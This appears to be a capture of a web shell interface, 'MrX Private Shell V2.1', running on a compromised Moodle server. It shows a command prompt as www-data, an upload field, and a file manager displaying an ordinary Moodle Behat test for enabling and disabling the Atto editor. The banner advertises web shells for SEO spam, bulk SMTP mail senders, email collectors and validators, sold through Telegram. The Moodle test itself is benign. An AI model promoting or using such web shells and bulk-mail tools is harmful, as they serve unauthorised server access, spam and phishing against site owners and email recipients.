__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
@editor @editor_atto @atto @editor_moodleform
Feature: Atto with enable/disable function.
  In order to test enable/disable function
  I create a sample page to test this feature.
  As a user
  I need to enable/disable all buttons/plugins and content of editor if "enable/disable" feature enabled.

  Background:
    Given the following "courses" exist:
      | fullname | shortname | format |
      | Course 1 | C1        | topics |
    And the following "activities" exist:
      | activity | name | intro                                                                                              | course | idnumber |
      | label    | L1   | <a href="../lib/editor/tests/fixtures/disable_control_example.php">Control Enable/Disable Atto</a> | C1     | label1   |
    And I log in as "admin"
    And I am on "Course 1" course homepage
    And I click on "Control Enable/Disable Atto" "link" in the "region-main" "region"

  @javascript
  Scenario: Check disable Atto editor.
    When I set the field "mycontrol" to "Disable"
    Then the "disabled" attribute of "button.atto_collapse_button" "css_element" should be set
    And the "disabled" attribute of "button.atto_title_button" "css_element" should be set
    And the "disabled" attribute of "button.atto_bold_button" "css_element" should be set
    And the "disabled" attribute of "button.atto_italic_button" "css_element" should be set
    And the "disabled" attribute of "button.atto_unorderedlist_button_insertUnorderedList" "css_element" should be set
    And the "disabled" attribute of "button.atto_orderedlist_button_insertOrderedList" "css_element" should be set
    And the "disabled" attribute of "button.atto_link_button" "css_element" should be set
    And the "disabled" attribute of "button.atto_link_button_unlink" "css_element" should be set
    And the "disabled" attribute of "button.atto_image_button" "css_element" should be set
    And the "contenteditable" attribute of "div#id_myeditoreditable" "css_element" should contain "false"

  @javascript
  Scenario: Check enable Atto editor.
    When I set the field "mycontrol" to "Enable"
    Then the "disabled" attribute of "button.atto_collapse_button" "css_element" should not be set
    And the "disabled" attribute of "button.atto_title_button" "css_element" should not be set
    And the "disabled" attribute of "button.atto_bold_button" "css_element" should not be set
    And the "disabled" attribute of "button.atto_italic_button" "css_element" should not be set
    And the "disabled" attribute of "button.atto_unorderedlist_button_insertUnorderedList" "css_element" should not be set
    And the "disabled" attribute of "button.atto_orderedlist_button_insertOrderedList" "css_element" should not be set
    And the "disabled" attribute of "button.atto_link_button" "css_element" should not be set
    And the "disabled" attribute of "button.atto_link_button_unlink" "css_element" should not be set
    And the "disabled" attribute of "button.atto_image_button" "css_element" should not be set
    And the "contenteditable" attribute of "div#id_myeditoreditable" "css_element" should contain "true"

Filemanager

Name Type Size Permission Actions
autosave.feature File 3.97 KB 0777
behat_editor_atto.php File 3.76 KB 0777
clean.feature File 3.75 KB 0777
customtoolbar.feature File 1.48 KB 0777
direction.feature File 1.97 KB 0777
disablecontrol.feature File 3.07 KB 0777
Filemanager